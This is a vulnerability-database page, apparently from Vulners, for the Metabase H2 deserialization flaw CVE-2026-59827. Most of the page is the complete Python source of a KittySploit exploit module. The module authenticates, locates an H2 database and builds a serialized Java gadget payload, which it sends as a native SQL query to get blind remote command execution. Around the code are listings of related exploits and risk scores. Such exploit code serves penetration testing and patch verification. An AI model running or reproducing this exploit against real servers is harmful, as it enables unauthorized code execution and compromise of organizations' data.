Metabase - H2 Deserialization RCE (CVE-2026-59827)
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for Deserialization of Untrusted Data in Metabase | 17 Sep 202606:16 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Metabase | 12 Aug 202614:34 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Metabase | 15 Jul 202608:00 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Metabase | 23 Jul 202608:46 | – | githubexploit | |
| CVE-2026-59827 | 9 Jul 202617:43 | – | attackerkb | |
| The vulnerability of the Metabase data visualization and reporting software, related to deficiencies in the deserialization mechanism, allows a perpetrator to execute arbitrary code. | 29 Jul 202600:00 | – | bdu_fstec | |
| CVE-2026-59827 | 9 Jul 202618:26 | – | circl | |
| CVE-2026-59827 | 9 Jul 202617:43 | – | cve | |
| CVE-2026-59827 Metabase: Unsafe Deserialization of H2 Query Results | 9 Jul 202617:43 | – | cvelist | |
| Metabase 0.61.0 - Authenticated Remote Code Execution | 3 Sep 202600:00 | – | exploitdb |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase H2 native query deserialization RCE (CVE-2026-59827) — blind execute session."""
from __future__ import annotations
import json
import os
import subprocess
from contextlib import ExitStack, contextmanager
from pathlib import Path
from kittysploit import *
from core.utils.paths import data_resource_as_file, data_resource_exists, framework_root
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
from lib.scanner.http.response_validation import parse_json_response
_FIXED_VERSIONS = {
58: (15, 0),
59: (12, 0),
60: (6, 3),
61: (1, 4),
}
_RCE_INDICATORS = (
'ClassCastException',
'ProcessImpl',
'NonTransientConnection',
'JdbcSQLData',
)
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Metabase - H2 Deserialization RCE (CVE-2026-59827)',
'description': (
'Exploits CVE-2026-59827 by authenticating to Metabase, locating an H2 database '
'(including the default sample DB), and submitting a native query that deserializes '
'a Clojure PriorityQueue gadget chain via SELECT CAST(X\'...\' AS OTHER). '
'Command execution is blind — output is not returned over HTTP.'
),
'author': ['Gutierre0x80', 'KittySploit Team'],
'cve': ['CVE-2026-59827'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36',
'https://nvd.nist.gov/vuln/detail/CVE-2026-59827',
'https://www.exploit-db.com/exploits/52680',
],
'tags': [
'metabase', 'h2', 'java', 'deserialization', 'authenticated', 'rce',
'cve-2026-59827',
],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 4,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['metabase'],
'auth_session': True,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'H2 OTHER column deserialization'},
{'capability': 'shell', 'from_detail': 'blind execute session'},
],
'suggested_followups': ['scanner/http/metabase_cve_2026_59827_detect'],
},
},
}
port = OptPort(3000, 'Metabase HTTP port', True)
ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
username = OptString('', 'Metabase username / email', required=True)
password = OptString('', 'Metabase password', required=True)
database_id = OptInteger(0, 'H2 database id (0 = auto-select first H2)', required=False, advanced=True)
java_executable = OptString('java', 'Java binary for payload generation', required=False, advanced=True)
skip_version_check = OptBool(False, 'Skip Metabase version range validation', required=False, advanced=True)
_ASSET_FILES = (
'clojure-1.12.3.jar',
'spec.alpha.jar',
'core.specs.alpha.jar',
'VarChainPayload.class',
)
def _api(self, suffix: str) -> str:
base = (self.path or '/').rstrip('/')
if not suffix.startswith('/'):
suffix = f'/{suffix}'
return f'{base}{suffix}' if base else suffix
@staticmethod
def _parse_version_tag(tag: str) -> tuple[int, int, int] | None:
raw = str(tag or '').strip().lstrip('vV')
nums: list[int] = []
for part in raw.split('.')[:4]:
digits = ''
for ch in part:
if ch.isdigit():
digits += ch
else:
break
if not digits:
break
nums.append(int(digits))
if len(nums) >= 2 and nums[0] == 0:
if len(nums) >= 4:
return nums[1], nums[2], nums[3]
if len(nums) == 3:
return nums[1], nums[2], 0
return nums[1], 0, 0
if len(nums) >= 3:
return nums[0], nums[1], nums[2]
if len(nums) == 2:
return nums[0], nums[1], 0
return None
@classmethod
def _version_is_vulnerable(cls, tag: str) -> bool:
parsed = cls._parse_version_tag(tag)
if not parsed:
return False
major, minor, patch = parsed
if major < 58:
return False
fixed = _FIXED_VERSIONS.get(major)
if not fixed:
return major >= 58
f_minor, f_patch = fixed
if minor > f_minor:
return False
if minor < f_minor:
return True
return patch < f_patch
def _fetch_version(self) -> tuple[str | None, str | None]:
response = self.http_request(
method='GET',
path=self._api('/api/session/properties'),
allow_redirects=False,
)
if not response or int(response.status_code or 0) != 200:
return None, 'Metabase session/properties not reachable'
body, err = parse_json_response(response)
if err or not body:
return None, err or 'invalid JSON from session/properties'
tag = (body.get('version') or {}).get('tag', '')
return (str(tag).strip() or None), None
def _assets_available(self) -> bool:
return all(
data_resource_exists('exploits', 'CVE-2026-59827', 'prebuilt', name)
for name in self._ASSET_FILES
)
@contextmanager
def _payload_asset_paths(self):
if not self._assets_available():
root = framework_root()
prebuilt = (root / 'data' / 'exploits' / 'CVE-2026-59827' / 'prebuilt') if root else None
if not prebuilt or not prebuilt.is_dir():
raise FileNotFoundError('CVE-2026-59827 prebuilt assets not found')
yield {name: prebuilt / name for name in self._ASSET_FILES}
return
paths: dict[str, Path] = {}
with ExitStack() as stack:
for name in self._ASSET_FILES:
paths[name] = Path(
stack.enter_context(
data_resource_as_file('exploits', 'CVE-2026-59827', 'prebuilt', name)
)
)
yield paths
def _generate_payload_hex(self, command: str) -> str:
java = str(self.java_executable or 'java').strip() or 'java'
with self._payload_asset_paths() as assets:
prebuilt = assets['VarChainPayload.class'].parent
classpath = os.pathsep.join(
str(assets[name]) for name in self._ASSET_FILES if name.endswith('.jar')
)
classpath = f'{classpath}{os.pathsep}{prebuilt}'
cmd = [
java,
'--add-opens', 'java.base/java.util=ALL-UNNAMED',
'-cp', classpath,
'VarChainPayload',
str(command),
]
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=45,
cwd=str(prebuilt),
)
payload = (result.stdout or '').strip()
if not payload:
err = (result.stderr or result.stdout or 'unknown error').strip()
raise RuntimeError(f'VarChainPayload failed: {err[:500]}')
if not payload.startswith('ACED'):
raise RuntimeError('VarChainPayload did not return Java serialization hex')
return payload
def _authenticate(self) -> str | None:
response = self.http_request(
method='POST',
path=self._api('/api/session'),
json={'username': str(self.username), 'password': str(self.password)},
headers={'Content-Type': 'application/json'},
allow_redirects=False,
)
if not response or int(response.status_code or 0) != 200:
return None
body, err = parse_json_response(response)
if err or not body:
return None
token = body.get('id')
return str(token).strip() if token else None
def _find_h2_database(self, token: str) -> tuple[int | None, str | None]:
if int(self.database_id or 0) > 0:
return int(self.database_id), None
response = self.http_request(
method='GET',
path=self._api('/api/database'),
headers={'X-Metabase-Session': token},
allow_redirects=False,
)
if not response or int(response.status_code or 0) != 200:
return None, None
body, err = parse_json_response(response)
if err or body is None:
return None, None
rows = body.get('data', body) if isinstance(body, dict) else body
if not isinstance(rows, list):
return None, None
for row in rows:
if isinstance(row, dict) and row.get('engine') == 'h2':
return int(row.get('id')), str(row.get('name') or '')
return None, None
def _response_indicates_rce(self, body: object) -> bool:
text = body if isinstance(body, str) else json.dumps(body, default=str)
return any(marker in text for marker in _RCE_INDICATORS)
def _fire_query(self, token: str, db_id: int, command: str) -> tuple[object, bool]:
payload_hex = self._generate_payload_hex(command)
sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
response = self.http_request(
method='POST',
path=self._api('/api/dataset'),
headers={'X-Metabase-Session': token, 'Content-Type': 'application/json'},
json={'database': db_id, 'native': {'query': sql}, 'type': 'native'},
allow_redirects=False,
)
if not response:
return '', False
body, err = parse_json_response(response)
if err or body is None:
body = response.text or ''
ok = self._response_indicates_rce(body)
return body, ok
def check(self):
version, verr = self._fetch_version()
if not version:
return {'vulnerable': False, 'reason': verr or 'Metabase not detected', 'confidence': 'low'}
if not self.skip_version_check and not self._version_is_vulnerable(version):
return {
'vulnerable': False,
'reason': f'Metabase {version} appears patched for CVE-2026-59827',
'confidence': 'high',
'version': version,
}
if not self.username or not self.password:
return {
'vulnerable': True,
'reason': (
f'Metabase {version} is in a potentially vulnerable range; '
'provide username/password to confirm H2 RCE'
),
'confidence': 'medium',
'version': version,
}
token = self._authenticate()
if not token:
return {
'vulnerable': False,
'reason': 'Authentication failed — invalid credentials',
'confidence': 'high',
'version': version,
}
db_id, db_name = self._find_h2_database(token)
if not db_id:
return {
'vulnerable': False,
'reason': 'No accessible H2 database found for native queries',
'confidence': 'high',
'version': version,
}
_, ok = self._fire_query(token, db_id, 'id')
if ok:
return {
'vulnerable': True,
'reason': (
f'CVE-2026-59827 confirmed on Metabase {version} '
f'via H2 database {db_name or db_id}'
),
'confidence': 'high',
'version': version,
}
return {
'vulnerable': False,
'reason': 'Authenticated H2 query did not show deserialization RCE indicators',
'confidence': 'medium',
'version': version,
}
def check_execute(self) -> bool:
token = self._authenticate()
if not token:
return False
db_id, _ = self._find_h2_database(token)
if not db_id:
return False
token_marker = self.random_text(8)
_, ok = self._fire_query(token, db_id, f'echo {token_marker}')
return ok
def execute(self, cmd: str) -> str:
token = getattr(self, '_session_token', None) or self._authenticate()
if not token:
return ''
self._session_token = token
db_id = getattr(self, '_h2_db_id', None)
if not db_id:
db_id, _ = self._find_h2_database(token)
if not db_id:
return ''
self._h2_db_id = db_id
body, ok = self._fire_query(token, int(db_id), str(cmd))
if ok:
return (
'[blind RCE — command accepted; H2 deserialization indicators observed]\n'
+ (body if isinstance(body, str) else json.dumps(body))
)
return body if isinstance(body, str) else json.dumps(body)
def run(self):
if not self._assets_available() and not (framework_root() / 'data' / 'exploits' / 'CVE-2026-59827' / 'prebuilt').is_dir():
print_error('CVE-2026-59827 prebuilt assets missing (Java jars / VarChainPayload.class)')
return False
try:
subprocess.run(
[str(self.java_executable or 'java'), '-version'],
capture_output=True,
timeout=10,
check=True,
)
except (FileNotFoundError, subprocess.CalledProcessError, subprocess.TimeoutExpired):
print_error('Java (OpenJDK 11+) is required to generate deserialization payloads')
return False
if not self.check_execute():
self.not_vulnerable()
return False
print_warning('Metabase H2 RCE is blind — command output is not returned in HTTP responses')
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 07:22Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8 - 9.9
EPSS0.03788
SSVC